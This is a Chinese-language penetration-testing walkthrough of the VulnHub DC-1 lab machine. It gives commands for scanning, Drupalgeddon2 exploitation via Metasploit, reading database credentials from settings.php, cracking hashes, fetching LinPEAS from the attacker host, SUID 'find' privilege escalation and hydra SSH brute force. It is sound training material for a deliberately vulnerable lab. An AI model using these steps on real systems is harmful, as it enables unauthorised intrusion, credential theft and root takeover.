🛡️ VulnHub DC-1 靶机渗透测试笔记
靶机信息
- 靶机名称:DC-1
- 靶机来源:VulnHub
- 目标:获取所有 flag,最终提权至 root
- 难度:⭐⭐☆☆☆(入门级)
- 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破
- https://www.cnblogs.com/wrold/p/19674552
🔍 一、信息收集
1.1 主机发现
先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机:
1 | nmap -sn 192.168.67.0/24 |

扫描结果中发现目标 IP 为 192.168.67.131。

1.2 端口与服务扫描
对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息:
1 | nmap -A -T4 192.168.67.131 |
1 | PORT STATE SERVICE VERSION |

扫描结果分析:
| 端口 | 服务 | 关键信息 |
|---|---|---|
| 22 | SSH | OpenSSH 6.0p1,版本较老 |
| 80 | HTTP | Drupal 7,Apache 2.2.22 |
| 111 | RPC | 基本无利用价值 |
💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。
💥 二、漏洞利用
2.1 搜索 Drupal 漏洞
使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞:
1 | searchsploit drupal 7 |

发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。
2.2 使用 Metasploit 利用漏洞
启动 Metasploit 框架:
1 | msfconsole |
搜索并加载 Drupalgeddon2 模块:
1 | search Drupalgeddon |

查看模块参数配置(Required: yes 为必填项):
1 | show options |

配置目标和本机 IP:
1 | set RHOSTS 192.168.67.131 |

执行攻击:
1 | run |
成功获取 Meterpreter shell,进入交互式终端:
1 | shell |

查看当前权限:
1 | whoami # www-data |

⚠️ 当前为 www-data 权限,需要进一步提权。
🚩 三、寻找 Flag
3.1 Flag 1
查看当前目录文件,发现 flag1.txt:

1 | Every good CMS needs a config file - and so do you. |
💡 提示:去找 CMS 的配置文件。
3.2 Flag 2 —— 数据库配置文件
Drupal 的配置文件路径为:
1 | cat /var/www/drupal/sites/default/settings.php |


在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2:

数据库凭据:
dbuser / R0ck3t
尝试用 Navicat 外连失败(目标不允许外部连接):

改为在 shell 中本地连接 MySQL:
1 | mysql -udbuser -pR0ck3t |

查看数据库,进入 drupaldb:
1 | show databases; |


查看 users 表结构:
1 | desc users; |

提取用户名和密码 hash:
1 | select name,pass from users; |

3.3 破解管理员密码
密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解:
- cmd5.com(需付费)
- hashes.com(免费)

破解结果:
1 | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t |
🔑 管理员账号:
admin / 53cr3t
3.4 Flag 3 —— Drupal 后台
使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login

在后台内容中发现 Flag 3:


💡 提示:去找
/etc/passwd文件。
3.5 Flag 4 —— 系统用户信息
在 MSF shell 中查看 /etc/passwd:

发现系统存在 flag4 用户:
1 | flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash |

进入 /home/flag4 目录,查看 flag4 内容:
1 | cat flag4.txt |
1 | Can you use this same method to find or access the flag in root? |
💡 提示:在 root 目录中还有最终 flag,需要提权。

⬆️ 四、权限提升
4.1 信息收集
笔记里的提权方式有很多

查看内核版本:

尝试使用 MSF 自动检测提权方案:
1 | run post/multi/recon/local_exploit_suggester |

未找到可用的提权建议,换手动方式。
4.2 使用 LinPEAS 自动枚举
靶机无法访问外网,通过 Kali 中转传输文件。
在 Kali 上开启 HTTP 服务:
1 | python3 -m http.server 8888 |

在靶机 shell 中下载 linpeas.sh:
1 | wget http://192.168.67.128:8888/linpeas.sh |


确认下载成功后执行:
1 | chmod +x linpeas.sh |

LinPEAS 输出结果中发现 find 命令具有 SUID 权限:



4.3 SUID 提权(find 命令)
访问 GTFOBins 查询 find 的 SUID 利用方式:


执行提权命令(注意需要使用 -p 参数保留 SUID 权限):
1 | find . -exec /bin/bash -p \; -quit |
成功获取 root 权限,找到最终 flag:

1 | Well done!!!! |
🔑 五、扩展:SSH 爆破登录
除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。
使用 hydra 爆破 SSH(用的是john的字典):
1 | hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131 |

成功获取密码:flag4 / orange
1 | ssh flag4@192.168.67.131 |

💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。
📋 六、渗透流程总结
1 | 信息收集(nmap) |
🛠️ 七、涉及工具汇总
| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务识别 |
| searchsploit | 本地漏洞库搜索 |
| Metasploit | 漏洞利用框架 |
| MySQL CLI | 数据库查询 |
| LinPEAS | Linux 提权信息收集 |
| GTFOBins | SUID/sudo 利用查询 |
| Hydra | SSH 密码爆破 |
| hashes.com | 在线 hash 破解 |
📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。